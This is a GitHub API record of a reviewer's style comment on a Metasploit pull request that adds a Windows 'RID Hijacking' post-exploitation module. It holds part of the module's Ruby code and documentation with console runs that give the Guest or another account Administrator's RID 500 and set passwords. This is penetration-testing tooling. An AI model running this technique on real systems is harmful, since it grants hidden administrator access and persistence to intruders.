{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/178638170","pull_request_review_id":108727798,"id":178638170,"diff_hunk":"@@ -0,0 +1,188 @@\n+##\n+# This module requires Metasploit: https://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+class MetasploitModule < Msf::Post\n+  include Msf::Post::Windows::Registry\n+  include Msf::Post::Windows::Priv\n+\n+  def initialize(info={})\n+    super( update_info( info,\n+      'Name'          => 'Windows Manage RID Hijacking',\n+      'Description'   => %q{\n+        This module will create an entry on the target by modifying some properties\n+        of an existing account. It will change the account attributes by setting a\n+        Relative Identifier (RID), which should be owned by one existing\n+        account on the destination machine.\n+\n+        Taking advantage of some Windows Local Users Management integrity issues,\n+        this module will allow to authenticate with one known account\n+        credentials (like GUEST account), and access with the privileges of another\n+        existing account (like ADMINISTRATOR account), even if the spoofed account is\n+        disabled.\n+      },\n+      'License'       => MSF_LICENSE,\n+      'Author'        => 'Sebastian Castro <sebastian.castro[at]cslcolombia.com>',\n+      'Platform'      => [ 'win' ],\n+      'SessionTypes'  => [ 'meterpreter' ],\n+      'References'\t=> [\n+        [ 'URL', 'http://csl.com.co/rid-hijacking/']\n+      ]\n+    ))\n+\n+    register_options(\n+    [\n+      OptBool.new('GETSYSTEM',   [true,  'Attempt to get SYSTEM privilege on the target host.', false]),\n+      OptBool.new('GUEST_ACCOUNT',   [true,  'Assign the defined RID to the Guest Account.', false]),\n+      OptString.new('USERNAME',  [false, 'User to set the defined RID.']),\n+      OptString.new('PASSWORD',  [false, 'Password to set to the defined user account.']),\n+      OptInt.new('RID', [true, 'RID to set to the specified account.', 500]),\n+    ])\n+  end\n+\n+  def get_system\n+    results = session.priv.getsystem\n+    if results[0]\n+      return true\n+    else\n+      return false\n+    end\n+  end\n+\n+  def get_name_from_rid(reg_key, rid, names_key)\n+    names_key.each do |name|\n+      skey = registry_getvalinfo(reg_key + \"\\\\Names\\\\#{name}\", \"\")\n+      rid_user = skey['Type']\n+      if rid_user == rid\n+        return name\n+      end\n+    end\n+    return nil\n+  end\n+\n+  def get_user_rid(reg_key, username, names_key)\n+    names_key.each do |name|\n+      if (name.casecmp(username) == 0)\n+        print_good(\"Found #{name} account!\")\n+        skey = registry_getvalinfo(reg_key + \"\\\\Names\\\\#{name}\", \"\")\n+        rid = skey['Type']\n+        return rid\n+        if not skey\n+          print_error(\"Could not open user's key\")","path":"modules/post/windows/manage/rid_hijack.rb","position":72,"original_position":72,"commit_id":"aafd67d416a6ad1f72a7a052b661f31a26cdf3b2","original_commit_id":"aafd67d416a6ad1f72a7a052b661f31a26cdf3b2","user":{"login":"bwatters-r7","id":17987018,"avatar_url":"https://avatars3.githubusercontent.com/u/17987018?v=4","gravatar_id":"","url":"https://api.github.com/users/bwatters-r7","html_url":"https://github.com/bwatters-r7","followers_url":"https://api.github.com/users/bwatters-r7/followers","following_url":"https://api.github.com/users/bwatters-r7/following{/other_user}","gists_url":"https://api.github.com/users/bwatters-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bwatters-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bwatters-r7/subscriptions","organizations_url":"https://api.github.com/users/bwatters-r7/orgs","repos_url":"https://api.github.com/users/bwatters-r7/repos","events_url":"https://api.github.com/users/bwatters-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bwatters-r7/received_events","type":"User","site_admin":false},"body":"FYI, I suggest running rubocop on this code, as there are some ruby-centric sylistic issues: https://github.com/rapid7/metasploit-framework/wiki/Using-Rubocop\r\nNothing bad, since it is a lot of \"ruby-isms\" like parentheses, whitespace, etc.  Please read through the rubocop usage and then take a look at the suggestions from rubocop.  Like it says in the wiki, we are not looking for 0 offenses, as sometimes, rubocop can be a bit overzealous, but if you ignore suggestions, there should be a reason for doing so.","created_at":"2018-04-02T20:17:01Z","updated_at":"2018-04-02T20:17:01Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/9595#discussion_r178638170","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/178638170"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9595#discussion_r178638170"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595"}},"in_reply_to_id":178633322},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595","id":170321549,"html_url":"https://github.com/rapid7/metasploit-framework/pull/9595","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9595.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9595.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9595","number":9595,"state":"open","locked":false,"title":"Add post module RID Hijacking on Windows","user":{"login":"r4wd3r","id":14118912,"avatar_url":"https://avatars3.githubusercontent.com/u/14118912?v=4","gravatar_id":"","url":"https://api.github.com/users/r4wd3r","html_url":"https://github.com/r4wd3r","followers_url":"https://api.github.com/users/r4wd3r/followers","following_url":"https://api.github.com/users/r4wd3r/following{/other_user}","gists_url":"https://api.github.com/users/r4wd3r/gists{/gist_id}","starred_url":"https://api.github.com/users/r4wd3r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/r4wd3r/subscriptions","organizations_url":"https://api.github.com/users/r4wd3r/orgs","repos_url":"https://api.github.com/users/r4wd3r/repos","events_url":"https://api.github.com/users/r4wd3r/events{/privacy}","received_events_url":"https://api.github.com/users/r4wd3r/received_events","type":"User","site_admin":false},"body":"## Overview\r\n\r\nThis module will create an entry on the target by modifying some properties of an existing account. It will change the account attributes by setting a Relative Identifier (RID), which should be owned by one existing account on the destination machine.\r\n\r\nTaking advantage of some Windows Local Users Management integrity issues, this module will allow to authenticate with one known account credentials (like GUEST account), and access with the privileges of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.\r\n\r\nBy using a `meterpreter` session against a Windows host, the module will try to acquire _**SYSTEM**_ privileges if needed, and will modify some attributes to hijack the permissions of an existing local account and set them to another one.\r\n\r\nFor more information see [csl.com.co](http://csl.com.co/rid-hijacking/).\r\n\r\n## Vulnerable Software\r\n\r\nThis module has been tested against:\r\n\r\n- Windows XP, 2003. (32 bits)\r\n- Windows 8.1 Pro. (64 bits)\r\n- Windows 10. (64 bits)\r\n- Windows Server 2012. (64 bits)\r\n\r\nThis module was not tested against, but may work on:\r\n\r\n- Other versions of windows (x86 and x64).\r\n\r\n## Options\r\n\r\n- **GETSYSTEM**: Try to get _**SYSTEM**_ privileges on the victim. Default: `false`\r\n\r\n- **GUEST_ACCOUNT**: Use the _**GUEST**_ built-in account as the destination of the privileges to be hijacked. Set this account as the _hijacker_. Default: `false`.\r\n\r\n- **SESSION**: The session to run this module on. Default: `none`.\r\n\r\n- **USERNAME**: Set the user account (_SAM Account Name_) of the victim host which will be the destination of the privileges to be _hijacked_. Set this account as the _hijacker_. If **GUEST_ACCOUNT** option is set to `true`, this parameter will be ignored if defined. Default: `none`.\r\n\r\n- **PASSWORD**: Set or change the password of the account defined as the destination of the privileges to be hijacked, either _**GUEST**_ account or the user account set in **USERNAME** option. Set password to the _hijacker_ account. Default: `none`.\r\n\r\n- **RID**: Specify the RID number in decimal of the _victim account_. This number should be the RID of an existing account on the target host, no matter if it is disabled (i.e.: The RID of the _**Administrator**_ built-in account is 500). Set the RID owned by the account that will be _hijacked_. Default: `500`\r\n \r\n## Verification steps\r\n\r\n1. Get a `meterpreter` session on some host.\r\n2. Do: `use post/windows/manage/rid_hijack`\r\n3. Do: `set SESSION <SESSION_ID>` replacing <SESSION_ID> with the desired session.\r\n4. Do: `set GET_SYSTEM true`.\r\n5. Do: `set GUEST_ACCOUNT true`.\r\n6. Do: `run`\r\n7. Log in on the victim host with the GUEST account credentials.\r\n\r\n## Scenarios\r\n### Assigning Administrator privileges to Guest built-in account.\r\n```\r\nmsf post(rid_hijack) > set GETSYSTEM true\r\nGETSYSTEM => true\r\nmsf post(rid_hijack) > set GUEST_ACCOUNT true\r\nGUEST_ACCOUNT => true\r\nmsf post(rid_hijack) > set SESSION 1\r\nSESSION => 1\r\nmsf post(rid_hijack) > run\r\n\r\n[*] Checking for SYSTEM privileges on session\r\n[+] Session is already running with SYSTEM privileges\r\n[*] Target OS: Windows 8.1 (Build 9600).\r\n[*] Target account: Guest Account\r\n[*] Target account username: Invitado\r\n[*] Target account RID: 501\r\n[*] Account is disabled, activating...\r\n[+] Target account enabled\r\n[*] Overwriting RID\r\n[+] The RID 500 is set to the account Invitado with original RID 501\r\n[*] Post module execution completed\r\n```\r\n#### Results after login in as the Guest account.\r\n\r\n![guest_account](https://user-images.githubusercontent.com/14118912/36490462-4bf84d68-16f6-11e8-811c-bf2d8c42b93d.PNG)\r\n\r\n### Assigning Administrator privileges to local custom account.\r\n```\r\nmsf post(rid_hijack) > set GETSYSTEM true\r\nGETSYSTEM => true\r\nmsf post(rid_hijack) > set GUEST_ACCOUNT false\r\nGUEST_ACCOUNT => false\r\nmsf post(rid_hijack) > set USERNAME testuser\r\nUSERNAME => testuser\r\nmsf post(rid_hijack) > run\r\n\r\n[*] Checking for SYSTEM privileges on session\r\n[+] Session is already running with SYSTEM privileges\r\n[*] Target OS: Windows 8.1 (Build 9600).\r\n[*] Checking users...\r\n[+] Found testuser account!\r\n[*] Target account username: testuser\r\n[*] Target account RID: 1002\r\n[+] Target account is already enabled\r\n[*] Overwriting RID\r\n[+] The RID 500 is set to the account testuser with original RID 1002\r\n[*] Post module execution completed\r\n```\r\n#### Results after login in as the _testuser_ account.\r\n![testuser](https://user-images.githubusercontent.com/14118912/36490561-837bd2f0-16f6-11e8-8dc6-53283bb4d9ea.PNG)\r\n\r\n### Assigning custom privileges to Guest built-in account and setting new password to Guest.\r\n```\r\nmsf post(rid_hijack) > set GUEST_ACCOUNT true\r\nGUEST_ACCOUNT => true\r\nmsf post(rid_hijack) > set RID 1002\r\nRID => 1002\r\nmsf post(rid_hijack) > set PASSWORD Password.1\r\nPASSWORD => Password.1\r\nmsf post(rid_hijack) > run\r\n\r\n[*] Checking for SYSTEM privileges on session\r\n[+] Session is already running with SYSTEM privileges\r\n[*] Target OS: Windows 8.1 (Build 9600).\r\n[*] Target account: Guest Account\r\n[*] Target account username: Invitado\r\n[*] Target account RID: 501\r\n[+] Target account is already enabled\r\n[*] Overwriting RID\r\n[+] The RID 1002 is set to the account Invitado with original RID 501\r\n[*] Setting Invitado password to Password.1\r\n[*] Post module execution completed\r\n```\r\n### Assigning custom privileges to local custom account and setting new password to custom account.\r\n```\r\nmsf post(rid_hijack) > set GUEST_ACCOUNT false\r\nGUEST_ACCOUNT => false\r\nmsf post(rid_hijack) > set USERNAME testuser\r\nUSERNAME => testuser\r\nmsf post(rid_hijack) > set PASSWORD Password.2\r\nPASSWORD => Password.2\r\nmsf post(rid_hijack) > run\r\n\r\n[*] Checking for SYSTEM privileges on session\r\n[+] Session is already running with SYSTEM privileges\r\n[*] Target OS: Windows 8.1 (Build 9600).\r\n[*] Checking users...\r\n[+] Found testuser account!\r\n[*] Target account username: testuser\r\n[*] Target account RID: 1002\r\n[+] Target account is already enabled\r\n[*] Overwriting RID\r\n[+] The RID 1002 is set to the account testuser with original RID 1002\r\n[*] Setting testuser password to Password.2\r\n[*] Post module execution completed\r\n```","created_at":"2018-02-20T22:03:54Z","updated_at":"2018-04-02T20:17:01Z","closed_at":null,"merged_at":null,"merge_commit_sha":"46d9cc45b639a2151c29ed7c175f971f97ede0bc","assignee":{"login":"bwatters-r7","id":17987018,"avatar_url":"https://avatars3.githubusercontent.com/u/17987018?v=4","gravatar_id":"","url":"https://api.github.com/users/bwatters-r7","html_url":"https://github.com/bwatters-r7","followers_url":"https://api.github.com/users/bwatters-r7/followers","following_url":"https://api.github.com/users/bwatters-r7/following{/other_user}","gists_url":"https://api.github.com/users/bwatters-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bwatters-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bwatters-r7/subscriptions","organizations_url":"https://api.github.com/users/bwatters-r7/orgs","repos_url":"https://api.github.com/users/bwatters-r7/repos","events_url":"https://api.github.com/users/bwatters-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bwatters-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"bwatters-r7","id":17987018,"avatar_url":"https://avatars3.githubusercontent.com/u/17987018?v=4","gravatar_id":"","url":"https://api.github.com/users/bwatters-r7","html_url":"https://github.com/bwatters-r7","followers_url":"https://api.github.com/users/bwatters-r7/followers","following_url":"https://api.github.com/users/bwatters-r7/following{/other_user}","gists_url":"https://api.github.com/users/bwatters-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bwatters-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bwatters-r7/subscriptions","organizations_url":"https://api.github.com/users/bwatters-r7/orgs","repos_url":"https://api.github.com/users/bwatters-r7/repos","events_url":"https://api.github.com/users/bwatters-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bwatters-r7/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":103436215,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":125500911,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf","default":false},{"id":103436014,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9595/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/aafd67d416a6ad1f72a7a052b661f31a26cdf3b2","head":{"label":"r4wd3r:rid_hijacking_module","ref":"rid_hijacking_module","sha":"aafd67d416a6ad1f72a7a052b661f31a26cdf3b2","user":{"login":"r4wd3r","id":14118912,"avatar_url":"https://avatars3.githubusercontent.com/u/14118912?v=4","gravatar_id":"","url":"https://api.github.com/users/r4wd3r","html_url":"https://github.com/r4wd3r","followers_url":"https://api.github.com/users/r4wd3r/followers","following_url":"https://api.github.com/users/r4wd3r/following{/other_user}","gists_url":"https://api.github.com/users/r4wd3r/gists{/gist_id}","starred_url":"https://api.github.com/users/r4wd3r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/r4wd3r/subscriptions","organizations_url":"https://api.github.com/users/r4wd3r/orgs","repos_url":"https://api.github.com/users/r4wd3r/repos","events_url":"https://api.github.com/users/r4wd3r/events{/privacy}","received_events_url":"https://api.github.com/users/r4wd3r/received_events","type":"User","site_admin":false},"repo":{"id":112209638,"name":"metasploit-framework","full_name":"r4wd3r/metasploit-framework","owner":{"login":"r4wd3r","id":14118912,"avatar_url":"https://avatars3.githubusercontent.com/u/14118912?v=4","gravatar_id":"","url":"https://api.github.com/users/r4wd3r","html_url":"https://github.com/r4wd3r","followers_url":"https://api.github.com/users/r4wd3r/followers","following_url":"https://api.github.com/users/r4wd3r/following{/other_user}","gists_url":"https://api.github.com/users/r4wd3r/gists{/gist_id}","starred_url":"https://api.github.com/users/r4wd3r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/r4wd3r/subscriptions","organizations_url":"https://api.github.com/users/r4wd3r/orgs","repos_url":"https://api.github.com/users/r4wd3r/repos","events_url":"https://api.github.com/users/r4wd3r/events{/privacy}","received_events_url":"https://api.github.com/users/r4wd3r/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/r4wd3r/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/r4wd3r/metasploit-framework","forks_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/forks","keys_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/events","assignees_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/merges","archive_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/deployments","created_at":"2017-11-27T14:55:26Z","updated_at":"2017-11-27T14:55:50Z","pushed_at":"2018-02-23T03:32:27Z","git_url":"git://github.com/r4wd3r/metasploit-framework.git","ssh_url":"git@github.com:r4wd3r/metasploit-framework.git","clone_url":"https://github.com/r4wd3r/metasploit-framework.git","svn_url":"https://github.com/r4wd3r/metasploit-framework","homepage":"https://www.metasploit.com/","size":327651,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"107a41a4ce992bd33a151d7d76c1c32f3a9328c4","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-04-02T20:07:34Z","pushed_at":"2018-04-02T19:12:53Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":336166,"stargazers_count":11871,"watchers_count":11871,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":6649,"mirror_url":null,"archived":false,"open_issues_count":507,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":6649,"open_issues":507,"watchers":11871,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9595"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9595"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9595/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/aafd67d416a6ad1f72a7a052b661f31a26cdf3b2"}},"author_association":"NONE"}}
{"actor":{"display_login":"bwatters-r7"}}